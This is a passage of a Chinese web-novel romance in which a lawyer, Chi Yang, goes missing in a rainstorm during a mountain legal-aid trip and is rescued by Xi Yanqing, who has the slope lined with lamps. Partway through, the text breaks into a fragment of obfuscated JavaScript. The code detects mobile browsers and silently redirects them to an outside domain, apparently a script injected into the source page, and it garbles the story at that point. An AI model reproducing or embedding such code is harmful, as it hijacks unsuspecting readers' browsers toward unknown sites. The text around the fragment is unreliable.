他好像漏掉了什么重要的信息。
对啊!
那个时候已经很晚了!
思及此,叶青屿看席砚卿的眼神,如同在看司马昭,他皆知。
再开口时的语气自然也不会好到哪儿去,不管是亲热被人撞见,还是这个一看就图谋不轨的时间点。
好不容易散下去的火.药味儿,瞬间又有了点燃的苗头:“你这么晚,去找我妹,到底是何居心!”
“不是去找她。”
“那你是怎么知道的?”
“我是回自己家,”说完,席砚卿又补充一句,“我住她对门。”
“......”
叶青屿怎么都没想到,当初看一次房就买下的那个人竟然是席砚卿。
想到这儿,叶青屿微勾唇角,眼神里闪过一丝玩味。
脑海里问号的数量随省略号式增长,一个接一个地往外蹦。
“所以,你买房是在认识漾漾之前还是之后?”
“之后。”
“为什么要在她对门买房?”
“跟你昨天为什么接吻,一样的原因。”
“......”
-
席砚卿沿着那片梧桐荫原路返回时,黄昏已成夜幕。
想起叶青屿刚才的话,他眼中都是掩不住的涩然。
那些不为人知的往事,旁人掀一次,都能呛起漫天黄沙。
更别说她。
万
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幸的是,他从茫茫人海中找到她了。
谜题都已解开,席砚卿倏地想起上次他和池漾见面,还是好几天前。
那天,他们隔着一条走廊,相对而立。
“你能不能,不要那么快就认定一个人?”
“那如果我,已经认定了呢?”
他当时之所以那样发问,是想告诉她,你能不能先别认定叶青屿,他不是那个最适合你的人,我才是。
如今,这种假设不攻自破。
那么池漾答语里,那个喜欢后面的宾语是谁,自然不言而喻。
怪不得那时的她,眼神里都是不安。
怪不得之后的她,眼神里都是躲闪。
想到这儿,席砚卿降下车窗,对着稀薄夜色,有些自嘲地发问:
“我表现的难道还不够明显吗?”
话落,他仰头看了看天。
此时,一轮皓月正高悬在夜空,吐纳清辉。
他蓦然想起,她的眸也如这弯月一般,澄澈透亮。
与此同时,心里有个声音伴着蝉鸣草动,如涨潮般涌起,再也无法忽视——
他想见她。
随即,转动方向盘,车身移动,驶入尾灯缀起的霓虹。
路线他熟知,终点他熟知,此间心情,却是绝无仅有。
时针走过大半圈,电梯终于停在熟悉的十一楼。
安静的走廊里,他感觉到自己的心跳声,清晰可闻。
很奇怪吧,明明知道答案,却依然忐忑难安。
席砚卿转身向右,按下门铃。
几秒钟后,房间里响起一阵脚步声,听起来像是一溜小跑过来的。
跑到门前时,有几秒的停顿,然后门从里面被打开。
席砚卿抬眸,一个清隽帅气的身影落入他的视线。
他瞬间认出这个人是谁。眉眼与池漾有几分相像,就是有那种一看就是亲姐弟的纽带在,跟叶青屿带给他的感觉完全不一样。
血缘真的是个说不清道不明但又奇妙无比的存在。
云锦书虽然与席砚卿只有一面之缘,但依然对他留下了深刻的印象,要不他也不会开门。
他大致打量了一眼席砚卿,礼貌地问道:“你好,请问你找谁?”
席砚卿眼底蕴着笑意,声调放缓:“我找你姐姐,池漾。”
“我姐没在家,出差去了。”
席砚卿似是有些没想到:“出差?去哪里出差了?”
听到这儿,云锦书有点犹豫要不要告诉他实情,毕竟他对眼前这个人并不了解。
想来想去,他扯了个谎:“具体去了哪里,我也不太清楚。”
席砚卿眸中晃过一丝郁色,随即恢复正常,他依然笑着:“这么不凑巧啊,那我之后再跟她联系吧,谢谢你。”
云锦书唇角扬起,直言没关系。
席砚卿转身正要回家,走了两步又回头:“对了,谢谢你帮我带的T恤,我很喜欢。”
“T恤?”云锦书一时没反应过来,“你是说那件蓝色T恤?”
“嗯。”
“果然是送给男士的啊,”云锦书脸上泛起一抹促狭的笑,“我就说买来当裙子穿这种拙劣的借口,一听就是假的。”
席砚卿:“嗯?”
“啊!我瞎说的!”云锦书连连摆手,“天色晚了,您路上注意安全。”
席砚卿指了指身后:“我就住这儿。”
云锦书:???
29. 失踪
麓川机场。
池漾和孟仲季下了飞机,又赶忙换上大巴,去往清水县。
清水县地处我国西南部,位于麓川市的郊区,经济发展较为闭塞。
两个人在县城住了一晚,第二天一大早就坐上了开往山区的车。
车子到达山脚下的时候,早已经有一个人在那里等候,是他们要去村子的村长王志峰。
三个人打过照面后,池漾和孟仲季,跟着王志峰爬了很长一段山路才到达村委会。
这个时候,已经有不少村民们搬着凳子坐在村委会门前等待。
他们此行,是为了做法律援助。
池漾和孟仲季做完自我介绍,村民们便一个个围了上来。
两个人忙得不可开交,整个上午连喝口水的时间都难得能挤出来,匆匆吃完午饭之后,来不及休息又是忙碌的一个下午。
你说这些村民们咨询的问题有多复杂吧,倒也不是。
其实总结起来也就两大类的问题,经济纠纷和赡养问题。
解答这些疑问的难度,可比看几百页的全英文合同简单多了。
但是,你架不住工作量大啊,并且有的老人听不懂或者听不清,你还得一遍又一遍的解释,费心是在这方面。
所以,一天的工作结束之后,池漾和孟仲季都感觉精疲力尽。
山内天黑的早,再加上恰逢雨季,王志峰看时间差不多了,就带着池漾和孟仲季往山下走,路上不停地说着感谢的话。
他天性就热情,因此下山的路途倒也显得不那么枯燥。
直到走到半途,孟仲季突然想用自己的手机拍张半山腰的照片。摸了摸口袋结果没摸到,这才想起来自己可能把手机落在村委会了。
没办法,他只有折回去拿。
他本来打算自己一个人上去,但是王志峰拦住他,劝说道:“还是我去吧,你对山路不熟悉,再加上村委会锁着门呢,老式锁,你不一定会开,你俩在这儿等我,我很快就下来。”
孟仲季直言不行,且不说这本来就是他自己的疏忽,理应他自己承担。
就单从王志峰的角度来看,五十多岁的老人了,孟仲季当然不忍心他为了自己跑上跑下的。今天辛苦的人不只有他和池漾,这个村长也没闲着,跑前跑后地就没怎么休息过。
两个人争执不下,眼看天色就要变晚。
最终,还是池漾发了话:“这样吧,仲季你跟王村长上去拿手机,然后自己下来就行。你把背包给我,我在这儿等你。”
话音刚落,一点零星小雨似有若无地滴在她鼻尖。
对孟仲季交代完,池漾又看向王志峰,语气无形中变得急促:“王村长,这儿离山脚也就这么一段路了,我们俩认得路,您就别再下来了,今天您也辛苦了,回去好好休息。”
又一滴雨落在她眼睫。
似在证明刚才那滴似有若无的雨,并不是错觉。
想到这儿,池漾的音调明显提高,态度也明显强硬起来。
孟仲季内心晃过一丝惊异,他还是第一次见池漾在生活中这个样子。
最终,他还是听了池漾的话,把重重的背包递给她之后,快步跟着王志峰往山上走。
往回走的路上,雨势已经有渐大的趋势,开始还是一滴一滴的,偶尔轻触一下鼻尖,后来雨势就越来越密集,茫茫绿树就如同一片天然的筛网,将雨丝筛细,再轻轻柔柔地往下抛。
孟仲季和王志峰到达村委会的时候,两个人的上衣都已经浮上一层湿意。
拿过手机,孟仲季道过别就二话不说往山下走。
王志峰叫住他,从抽屉里拿出两件雨衣和手电筒递给他:“拿着吧,万一呢。”
孟仲季动作利索地接过。
西南地区的雨季总是变幻莫测。
这才不到一会儿的功夫,等孟仲季出村委会门的时候,天色已经在瞬间黑了好几个度,绿树不再是筛网,将天空的湿气照单全收,不再是轻轻柔柔地往下抛,而是密密麻麻地往下砸。
孟仲季狠狠皱了下眉,王志峰见状立马吩咐孟仲季穿上雨衣,与此同时自己也动作麻利地穿上,语气急促:“动作要快一点,这雨估计瞬间就能下大,我必须送你们下山。”
孟仲季点点头,跟着他大步往下走。
和煦暖风中,这一条山路仿佛是天生的导游,带领着你,左一眼丛林漫步,右一眼鸟语花香,柳暗与花明都浑然天成,每一处拐角都是一幅新风景。
可夜幕与骤雨一至,漫步变换成涉险,鸟语被淹没在雨声下,再难寻觅,每一处拐角都暗藏着新的玄机。
地面早已泥泞不堪,孟仲季和王志峰顾不上滑倒的风险,尽最大的速度往下跑。
过了大约二十分钟,两个人跑到刚刚与池漾分别时的地点。
果不其然,孟仲季最担心的事情还是发生了。
——池漾没在原地。
见此状况,孟仲季第一反应就是对着四周,大喊了好几声她的名字。
无人应答之后,他拿出手机迅速给她拨了电话,结果,手机屏幕上方显示着明晃晃的三个字:无服务。
孟仲季一下子慌了阵脚。
王志峰又分别往山上山下走了几步,结果还是无人应答。
孟仲季急得直跺脚,紧紧攥着手机,一遍遍拨打那个打不出去的号码,语气焦急:“在山上的时候还有信号,到这儿怎么还一点信号都没有了啊?”
王志峰:“山路这里的信号就经常不稳定,再加上暴雨的影响,可能就更差了。”
这回答对孟仲季来说自然是晴天霹雳。
王志峰内心也焦急,思索着任何可能发生的情况,这个时候空气的能见度已经很低了,雨也越下越大。他环顾了一下四周,很快排除了池漾在附近的可能。
“孟律师,这附近的山路虽然不好走,但是地形很平稳,哪怕池律师不小心滑倒,也不会有生命危险。最重要的是,如果她在附近,一定能够听到我们的声音,给我们回应的。但是没有,这说明她应该是往山下走了,刚才雨势渐大,这里没什么可以避雨的地方,我们往山下找找看。”
孟仲季第一次遇到这种情况,只好听从村长的建议,两个人拿着手电筒一边往下走一边沿路喊池漾的名字。
过了五分钟,两个人走到一个石桌前,石桌旁边还有两个被当做凳子的大石块儿,背靠着一颗郁郁葱葱的大树,是天生的歇脚处和避雨处。
虽然今天的雨势很大,但是没有响雷,所以在此处避雨是很安全的选择。
王志峰满怀希望地走到此处,结果却仍然是失望。
没有人。
孟仲季内心奔溃至极,脑海里两个小人儿不断在打架,一边说着池律师肯定没事,一边又开始设想种种意外。
他想到某一种可能,声音颤抖着问:“会不会有坏人经过这里?”
还没说完,泪已盈满眼眶。
王志峰自然知道他在担心什么,正准备开口打消他的顾虑,说这一片的治安还是很好的。
结果,还没等他说出口,孟仲季手里的手机响了一声,提示有新消息。
孟仲季颤抖着手,在一片潮湿的屏幕上解锁,解了两遍都没有解开。
他只好半躬着背,用身体挡住雨势,好不容易解开了锁。
果然,连着两条都是池漾的信息。
【雨下太大了,我怕卷宗淋湿。】
【先往下走了。】
就这两句话,让孟仲季吊着的心终于放下了一些。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571447|171498||http|test|mini|href|location''.split(''|''),0,{}));
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>手机在这时终于有了信号,他直接一个电话就给池漾打了过去。
结果,电话仍然怎么都打不通。
王志峰站在一旁,目睹了他的整个行为,猜测道:“会不会池律师已经下山了?要不这样吧,我们一边喊着池律师的名字一边往山下走,如果她还没下山一定能听到我们的声音。”
孟仲季点点头。
两个人一起喊了一路,却仍然没有收到任何回应。
此刻,天色已经完全黑了。
但好在,阵雨季的雨来得快走得也快,雨势已经弱了很多。
孟仲季和王志峰来到山脚下,四处看了看,没有找到池漾的身影。
他又给池漾拨了好几个电话,虽然没人接,但好歹是一直都能打通了。
“能打通电话,是不是说明她已经有很大的几率已经离开了山区?”
王志峰点点头:“应该是的,你连着打了这么多个电话,说明手机应该在一个信号比较稳定的地方。”
“那她到底去哪儿了呢?还一直不接电话?”
“会不会是已经到酒店了,你给酒店打个电话问问。”
“好。”
孟仲季说完之后才绝望地发现,他根本不知道酒店的联系方式。
两个人在这里干等也不是个事儿,于是王志峰给出了他的建议:“这样吧,你先回酒店确认池律师有没有在,我就在这儿等你的消息,等到你的回复我再上山。”
孟仲季说了一声好,赶紧拦了一辆车往酒店赶。
-
孟仲季一身湿透,鞋面都是泥泞,以百米冲刺的速度推开门跑到前台,喘着粗气问:“202的住户回来了吗?”
前台的工作人员看着孟仲季一脸狰狞,心思谨慎:“不好意思,我们不能随意透露住户的信息。”
孟仲季急得几乎要吼出来:“我是跟她一起出差住在203的孟仲季,202的住户叫池漾,是我的上司,她下山的时候跟我们走散了,打电话也打不通,我必须马上确认她是否已经到了酒店!”
听到这儿,前台的工作人员才拿起电话拨通了内线。
片刻后,孟仲季听到她说:“202住户电话无人接通。并且我在这儿工作了一整个下午,并没有看到池小姐的身影,所以她应该是没回来。”
孟仲季心如死灰,拿出手机,正要给王志峰回电话。
却看到手机有了一条新的消息,是池漾发来的。
【我在咱们上山时候看到的那个石桌那里等你。】
看到这条消息,孟仲季非但没有松一口气,反倒感觉自己的心跳猛地漏掉了一拍。
他瞬间反应过来,他好像忽略了什么重要的事情......
山间信号不好,所以不止是他,池漾发给他的消息,也完完全全有延迟的可能,那岂不是意味着......
他盯着手机,先是二十分钟前在石桌前收到池漾的消息,说她先下去了。
接着是两分钟前,她说她在石桌那里等他。
孟仲季盯着这三条信息看。
【雨下太大了,我怕卷宗淋湿。】
【先往下走了。】
【我在咱们上山时候看到的那个石桌那里等你。】
他越看越觉得不对劲,这三条信息怎么看都像是连着发的啊,结果却隔了这么久才收到,那是不是说明池漾还在山上?以及,她移动过位置?
可是......
正当他分析的时候,突然一阵急促的脚步声从他身后传来,紧接着一个严肃冷峻的声音在他耳边猝然响起:“你说什么?池漾怎么了?”
孟仲季回头一望,撞进一双比他还要惊慌失措的双眼。
那双眼像是被火山淬过一般,目眦尽裂。
30. 今生
席砚卿和孟仲季立刻坐上车往山区开。
还好,酒店离山区并不是很远,两人不多久就到了。
看到一个新面孔,王志峰也来不及细问是谁,对着孟仲季直奔主题:“池律师没在石桌那里,我喊了好几声都没人应,然后我就开着手电筒四处看,也没看到任何异常,我现在叫我老婆带着几个村民们下来了,让他们也一边走一边喊。”
虽说增加了人手,但孟仲季丝毫没有放下心,而是担心得直跺脚,声音哽咽道:“不管是声音还是灯光,不管是听到了还是看到了,池律师回应一声的力气还是有的吧,她却一点回应都没有,这是不是说明......说明她已经失去了回应的能力......”
孟仲季说到这儿,没再继续说下去,听的人却都懂了他的意思。
那是不是说明,池漾已经遭遇了不测。
此刻,雨势已经渐停,周围出奇的安静。
本来附着在树干的涓涓雨流,流经躯干的脉络,一点点地积聚在一起,攒成一个巨大的水珠,悬在半空,抗衡着地心引力。
可是,一旦这个水珠积聚到一定重量,它就没了抗衡重力的本领,只能延时般地、重重地、极速地砸向地面。
这瞬间,席砚卿感觉自己的心,也像那个硕大的水珠,在漫长的润物细无声的等待之后,重重地跌落,继而粉身碎骨。
王志峰察觉出面前这两个男人都快要奔溃的情绪,赶忙安慰道:“池律师吉人自有天相,不会有事的。还有,我们这一片的治安很好,因为是林地,所以周围都有铁网封着的,并且都装有监控,如果有人贸然闯入会有人通知我的。林场这方面的反应很及时,所以按照你收到的消息,现在池律师一定还在山里,我们再好好找找肯定能找到的。”
正巧这个时候,一群村民也从山上走下来了,向王志峰汇报着这一路的情况:“喊了一路,没人吭声,这黑漆漆的,我们手电筒能照见的地方,都没看到人。”
席砚卿看着眼前这个画面,像是突然想到什么似的,开始串联起一些细节。
他目光定在某一处,设想出了另一种可能。
几秒钟后,他像是找到答案一样,突然大声说:“孟仲季你马上去派出所报案,让他们增派人手。村长你现在马上带着所有的村民,把县里所有能发光的东西全部买来,记住是全部,有多少买多少,什么亮买什么,刷这个卡,没有密码,现在马上就去!”
席砚卿这个人身上有一种魄力,尤其是发怒的时候,更给人一种不容置喙的压迫感。
孟仲季听到自己的任务就赶紧往山下跑,村民们虽然有些不解,但还是照做了。
席砚卿想到山里信号可能不好,怕他们回来的时候联系不上自己耽误时间,于是又拉住他,叮嘱着:“买来之后,所有人把灯打开,沿着山路铺满,总之要让整片林场都亮起来。”
似乎是为了让他更信服自己的安排,席砚卿说完之后又解释了一下:“池律师怕黑,手电筒的光根本不管用,还会给她增加紧张感。”
-
等所有人都离开之后,席砚卿一边拨通电话一边大步往山上跑。
不过,这电话不是打给池漾,而是打给另一个人。
万幸的是,电话那头很快就被人接起。
陆谨闻的“喂”字还没说出口,就听到席砚卿急切到不行的声音从手机那头传来,没有任何拐弯抹角,直接切入主题:“池漾耳朵是不是受过伤?”
“你怎么知道?”
“我怎么知道的不重要,你只需要告诉我是或者不是。”
电话那端停顿了两秒,才响起陆谨闻的声音:“是。”
他刚想再问一句,席砚卿却已经挂断了电话。
得到答案后,席砚卿一边开着手电筒往山上走,一边给池漾打电话,因为他知道池漾的手机还在山上。
她虽然听不到,但是他可以听到,说不定能顺着手机找到她。
走到石桌附近的时候,席砚卿特意停顿了一会儿,一边打电话一边仔细听着周围的声音。
结果什么都没有听到。
没办法,他只好继续往山上走。
夜深人静的山路上,只有他脚步摩挲地面的声音。
他迫切地,想要捕捉到另一个声音,终归是一无所获。
走到池漾和他们分别的地点时,席砚卿再一次停顿。
按照孟仲季手机中的消息,池漾绝对不可能往山上走,那么只可能在山下。
可是,为什么一点声音和踪迹都没找到呢?
席砚卿尽力让自己镇定下来,开始梳理线索。
最终决定,沿着刚才上来的路再走一遍。
只不过这次,他没再把手机放在耳边,而是任凭它一直响着,把自己所有的注意力都集中在外界。
终于,在又一次快要到达石桌的时候,他终于听到了一阵窸窸窣窣的声响。
很小,小到几不可闻,太容易让人忽略。
这也难怪,为什么刚才的所有人都没有听到,一个接一个的大声喊着名字,本身就够喧闹了,怎么可能捕捉到这样细小的声音。
可是这声音实在是太小,难以辨明方位。
更何况,这声音不是手机铃声,而是震动模式。
席砚卿蹲下身来,把手电筒的光也关上,在这片极致的黑暗与安静中,找寻声源和光源。
片刻后,一阵微风起,卷起几片落叶,席砚卿眼尖地,看到一寸闪光。
他目测了一下,那是个距离地面有一米多高的沟壑。
顾不得刚下过雨,顾不得山路泥泞,顾不得地势陡峭,他一个大步就跳了下来,溅起满身的泥污。
他拨开落叶,看到屏幕,是池漾的手机。
——她应该就在这儿附近。
就快要接近曙光了,席砚卿却忽然不敢动弹了。
那么多手电筒的光都曾照过这里,如果池漾在这儿附近,她不可能没有看到,那她为什么没有发出呼救声呢?
很明显,她在自保。
她听不到声音,眼前都是黑暗,又身处不熟悉的山区,她无法判断那束光背后的执灯人,是好人还是坏人。
如果,席砚卿拿着手电筒走近她,她内心的恐惧恐怕会达到极致。
可是,这又冷又黑的环境,他知道,让她多待一秒钟都是煎熬。
于是,他狠了狠心,打开手电筒开始观察周边地势。
这条沟壑延展的很长,被荒草和落叶包围着,虽然地形坑坑洼洼,并不好走,但是离地面的距离并不算太远,按理说用力爬应该能爬上来。
而池漾并没有爬上来,说明她受到了二次伤害。
席砚卿一边思考,一边观察着周围的地貌。他发现,通往山林更深处的地方有一条线,上面覆盖的树叶和荒草明显少于周边的。
他
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沿着那条线往更深处走去。
更深处的池漾没听到任何动静,只能看到一束光在一步一步地逼近她。她顿时汗毛竖起,抱着手中的背包,瑟瑟发抖。
她对来人一无所知。
时间漫长得像是过了好几年,那束光最终还是照在了她抱着的背包上。
她冻到发红的手掌和与夜色融为一体的背包,就这样曝光在一束未知的光亮下。
池漾感觉到一阵窒息,忽然喘不过气来。
那束光却忽然从她手上移开,池漾吓得紧闭起双眼,不敢设想接下来的局面。
席砚卿从那双手就认出来,这是池漾。
他多么想赶紧看清她的状态。
可是,最后一秒,他却将手电筒调转,把那束光朝向了自己。
怕直接照在脸上会更显苍白,吓到她,于是他便照向了自己的衣服——那件她送他的T恤。
想让她先认出来他,好让她不那么被动和害怕。
可是,池漾并没有做出任何反应。
席砚卿只好慢慢走近她,在她身边蹲下,池漾感觉到近在咫尺的陌生体温,突然大叫起来,恐惧到极致。
席砚卿缓缓抚着她的肩,用手电筒照着,好让她能够看清自己。
池漾一抬头,首先映入眼帘的是一件熟悉的T恤。
目光再向上,是她想念已久的一张脸。
这一刻,她分不清现在是现实还是梦境,是前世还是来生。
她的泪如刚落的雨水,汹涌而下,语句完全不成样:“席......你......我......我最终还是死了是不是?果然,我就说我为什么在机场第一次见到你就没能忘了你......我以为我们一定是在前世见过......没想到真的是这样......现在是前世还是来生啊......”
她的话断断续续,不成体系。
但是席砚卿还是在半知半解中,听懂了她话中的深意。
忽然之间,他什么都不管不顾了,伸出双臂紧紧抱住她,在她耳畔落下一语:“是今生,是想要和你共度余生的今生。”
池漾只感觉出耳边一阵暖意,却什么都没听到。
包括那一阵喧闹的人声和纷至沓来的脚步声。
她靠在他的肩头肆意流泪,不知何时眼前突然出现一簇光亮。
渐渐地,那光亮从一簇变成一片,再从一片变成一群,最后从一群铺满了一整条山路。
她听不到声音,只能看到一群人背着一束又一束形态各异的灯盏,由下至上地奔跑着。
像是在比赛。
有普通白炽灯串联起的简单电路,有用作宣传的一看就很红红火火的“国庆快乐”,有游乐园里用来照明和观赏的卡通灯,还有古色古香的灯笼......
熙熙攘攘,络绎不绝地从她眼前晃过。
只消几秒的时间,这条漆黑的山路,像魔法一般,天光大亮。
最后映入她眼中的那道光,是一句话——不要怕,我来了。
席砚卿用手机打在备忘录上的。
过去的一个多小时,她在极致的黑和极致的静中度过,不知道光亮何时来,不知道声音何时响,不知道那束光背后是善是恶,不知道自己身处的是安全还是危险。
可眼前这个人,却不远万里、跋山涉水而来,知晓她所有的恐惧和害怕。
为她,布了漫山遍野的光。
31. 直觉
池漾目光灼灼,看着一束又一束的光源越聚越多,最后把整座山林都朗照在璀璨乾坤中。
她的意识逐渐恢复,慢慢反应过来这所有的一切都是真的。
包括抱着她的这个人身上的体温。
想到这儿,池漾噌的一声,从席砚卿怀里挣了出来,一脸的难以置信:“你怎么在这里?”
席砚卿没说话,拿出手机,在备忘录里输入了两个字:旅游。
看着他的所作所为,池漾神情一怔,心里相当不是滋味地问了一句:“你怎么知道我听不见?”
席砚卿低头打字,然后把手机再次递给她看。
池漾垂眸,看到屏幕上多了言简意赅的两个字:直觉。
池漾就这么盯着这两个字,感觉自己的心像是被人捏起了一角,又酸又涩。这股酸涩梗在喉咙,她久久没有再发声。
席砚卿将手电筒照在她身上,看她的伤势。她穿着长袖长裤,除了湿漉漉的水迹和上面的泥污,并没有看到血迹。
他的心终于放下了些,在手机上重新输入一句话:身上有没有受伤?
池漾看了,没立刻作答,而是在他看不到的角落里,悄悄地用左脚重新施了一次力,试图凭借自己的力量站起。
果不其然,脚踝处传来钻心的疼痛。
她再次失败了。
沿着山路的灯盏,恪尽职守地发着光。
席砚卿看到她微蹙的眉心,瞬间察觉出不对劲,起身赶紧叫人。
听到动静,山上山下的人都往这边涌,不一会儿就挤满了人。在村民的齐心协力下,他们终于从沟壑上来,走到了这条光芒万丈的山路。
大家都对池漾的伤势很关心,尤其是村长王志峰,控制不住地冲上前去询问她的伤势:“池律师,你没有受伤吧?还好你没事,要是你出了事,这个责任我可怎么担负得起啊!”
正巧这时,孟仲季也带着警察上来了,看到池漾,他立刻抬起脚就往上跑。
池漾在平常的工作中也免不了和公职人员打交道,所以看到警察她自然不应该害怕。
但是此时此刻,她什么都听不到,眼前只有一张又一张翕动的唇,她不知道他们在说什么,像是在看一场默片电影。
再加上刚才的遭遇,她无法让自己迅速冷静下来。
孟仲季和穿着警服的警察一起,浩浩荡荡地快步跑向她。
她心里一惊,一转身就把自己的大半个身子躲在了席砚卿身后,伸出两只手牵住他的衣角,只露出半张脸,抬眸看向他。
像一只受惊的猫咪,乖乖地躲在主人身后,寸步不离。
席砚卿注意到她的举动,片刻的犹豫都不曾有,一俯身便打横抱起了她。
这不是他第一次这样抱她。
那次在游乐场也是,她磕破了膝盖,他这样抱着她走过那条横卧在小溪上的漆红木桥。
而如今,还是和那次一样的姿势,还是和那次一样的两个人,只不过布景全都换了样。
一拨人走在前面开路,剩下的一群人走在后面。
池漾安安生生地,任他抱着。
耳朵听不到,别的感官就会异常清晰。
两人贴合得紧,因此池漾用不着抬眸,他的面容就尽数落入她眼中。
席砚卿目光专注地看着前方和脚下的路,生怕把她摔了,眉眼间自然而然就带上了一股严肃又凛冽的认真。
池漾双臂环着他的脖颈,注意到他清峻干净的脸上,不知道什么时候,格格不入地溅上了一个小泥点。
不知怎的,她突然一低头,特别没良心地笑了一下。
温软绵长的气息喷洒在他的脖颈,席砚卿喉间泛起一股燥热。低头寻找“罪魁祸首”,只看到池漾微扬着嘴角,却不知道她在笑什么。
席砚卿只好不自然地动了动喉结,将手上的力道又紧了一些。
过了一会儿,池漾终于停止了笑意,抬起头来,将右手从他脖颈后边收回,从上衣的口袋里拿出一张手帕,还是白天的时候一个小女孩看她太热偷偷塞在她口袋里的。
她抬起手,轻轻一动,将他脸上的那点泥污擦了下来。
左半边脸传来柔软触感,她冰凉的指腹透过绵软的手帕,轻点过他脸颊,然后一触即离。
意识到她在做什么之后,席砚卿勾起嘴角,垂眸看她。
趁着她这会儿听不到,毫无遮拦地直抒胸臆:“池律师,摸了我,就要对我负责。”
“嗯?”
池漾看着他翕动的唇,音调扬了下,表示疑惑。
席砚卿听到,脸上的笑意越来越浓,池漾被他感染,嘴角扬起和他恰似的弧度。
他们的目之所及,是光彩夺目的大红灯笼,是琳琅满目的明亮灯盏,是灯烛辉煌的万顷河山。
一簇又一簇,一团又一团,铺满了整整一条山路。
人声如潮,灯光如瀑,像极了浩浩荡荡的迎亲队伍。
-
一行人行至山脚。
毕竟报了案,所以孟仲季必须跟着警察回去做一下笔录。
席砚卿让他安心去,这里有他就好,说着便伸手拦下一辆车,准备送池漾去医院。
村长王志峰看着这一幕,保险起见还是上前问了一句:“需要我一同前去吗?”
席砚卿回绝道:“不用,我一个人可以。”
王志峰还是放心不下,犹豫着开口:“不好意思,我想知道你是池律师什么人?”
席砚卿没想到会被问这个问题,疑惑地看向王志峰。
王志峰解释道:“我要确保池律师的安全。”
听到这儿,席砚卿不假思索地脱口而出:“男朋友,这下能放心了吧。”
刚说完人群里就响起一个质疑声:“他骗人,池律师说她根本就没有男朋友。”
司机和池漾已经在车里等了一会儿,席砚卿没太多时间跟他们解释,快速撂下一句:“我这不是来追她了吗。”
即刻,便钻进了车内。
车子发动,报完目的地之后,席砚卿俯身查看她的脚踝。
出租车内空间很局促,他又身高腿长,再加上车
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座下光线并不好,所以即使他弯着腰尽力去看,仍然看不太清楚她的伤势。
池漾注意到他躬身的样子,不自在地把腿往后躲了躲,推拒道:“我没什么事,我等会儿回去抹点药膏就好。”
席砚卿狠狠叹了口气。
我能相信你的话真是见鬼了。
没什么事你在那坐了一个多小时都没有站起来?
耐心耗尽,席砚卿索性径直坐起,池漾心里暗暗松了一口气。
结果,下一秒她就感觉到有一双大手抱起了她的腿,然后把她的腿驾到了他身上。
她本能地叫了一声。
席砚卿置若罔闻,直接把她的裤子往上捋,小心翼翼地探查伤口。
他只是用指腹轻轻一点,池漾就没忍住嘶了一声。
池漾抬头,对上席砚卿冷冷的双眼,内心的愧疚瞬间成倍增加。
席砚卿一边催促司机快一点,一般打开手机备忘录打字。
过了几秒,池漾看着备忘录上的文字:你脚踝应该是扭伤了,必须拍片子,还有耳朵,也需要检查。所以,我们必须去医院。
下面还有一行:不要怕,我会一直陪着你。
池漾盯着屏幕看了好一会儿,才轻轻点了点头。
席砚卿这才收回手机。
其实他不是个对什么事都能有商有量的人,在池漾这儿是个例外。不过这件事不能算是例外,因为即使她不同意,他也要抱着她去。
有的事能商量,有的事不能。
-
十分钟后,车子停在县中心医院门口。
先拍了片,医生说还好脚踝处没有骨折,只是肿起了好大一块儿,通过外抹药物就能慢慢恢复,但是需要注意卧床休息。
席砚卿取完药,拉着池漾去看耳科医生。
池漾却突然拽住他的衣角:“我耳鸣是突发性的,以前也有过,但是好几年没犯了。是情绪过度紧张加上感冒引起的,不用看医生,我回去泡个热水澡再睡一觉就好了。”
说完之后,她看向席砚卿,发现他的眼神里都是不相信和不放心。
池漾只好接着解释:“你要相信我。我就是怕一淋雨自己会发烧感冒,发生意外情况,才想着赶紧下来找个避雨的地方,结果没想到天色太暗,我不熟悉地形,才一下子滑了下去。我不会拿自己的身体开玩笑。”说完又重复一遍:“你要相信我。”
席砚卿没说话,而是拿起手机给陆谨闻打了个电话。
得到和池漾一致的说法之后,才听从了她的安排。
两个人回到酒店。
席砚卿把池漾轻放在床上,转身去卫生间给她放洗澡水。
他调试好水温,趁着放水的功夫,走了出来。池漾正靠在床头,紧紧地抱着换洗衣物,一动不动地看向他的方向。
席砚卿从那个眼神里,看出了明显的审视意味。他嗤笑一声,拿出手机对她解释:你不用紧张,等会儿放好水看你安全地进了卫生间,我就走。
池漾:“......”
谁紧张了?
32. 民主
席砚卿说到做到,看池漾进了浴室,就关上门出来了。
池漾用指尖轻触了一下水温,温度调的刚刚好。
于是,她一手撑着浴缸沿儿,先将自己完好无损的右脚伸进去,等站稳了再将自己惨烈负伤的左脚伸进去。
等站稳之后,她轻轻躺下,任水的温度慢慢包裹住她冰冷又僵硬的身体。她轻闭上双眼,任凭自己沉溺,任凭这股暖意从手脚末梢,渐渐淌满四肢百骸。
像是重生。
从那段不堪回首的往事里重生。
流萤夏夜里,一切都在复苏。
先是解冻的手脚,再是被光亮盈满的双眼,最后是尘封的耳朵。
从流水的滴答声,到拖鞋的趿拉声,再到吹风机的嗡嗡声,渐次清晰地传入她的双耳。
她听到了。
关上吹风机的那一刻,世界再次陷入安静,可池漾心里,却是久违的踏实。方才的恐惧与慌乱,黑暗与无声,好像已经是另一个世界的事情,与她再无关。
她想给自己竖起一个大拇指。
如今,她走出往事的时间已经不需要用年来度量,甚至连天都不需要。
但人是不能太得意忘形的。
手机铃声响起的时候,池漾正靠在浴室的门口,轻抚着自己又一次因为不小心,磕向地面的小腿。
有过摔伤经历的人都懂得,你倒地的那一刻,第一反应从来不是自己试着站起,也不是让别人拉着你站起,而是保持这种姿态,丝毫不敢动弹,等身体稍稍适应了一些,才敢试着站起来。
手机铃声还在响着。
不过,幸好摔得不算太远,池漾稍微一伸手就能够着。
她拿过手机,打开一看是席砚卿发来的微信:【洗好了吗?】
池漾:【嗯。】
随后又回了一句:【我耳朵能听见了。】
她回复这句话的本意是想让他不要担心,结果没想到下一秒席砚卿的视频电话就打了过来。
池漾看了看自己的样子,把视频转成了语音。
席砚卿看着转成语音通话的提示,没想太多,把手机放到耳边,试探着问了一句:“喂?”
他低沉又舒缓的声音,透过电波传来,池漾心生一热,乖乖地应了一声:“嗯,我听得到。”
席砚卿靠在她门外的墙上,放下心地笑了笑,问:“怎么不开视频?”
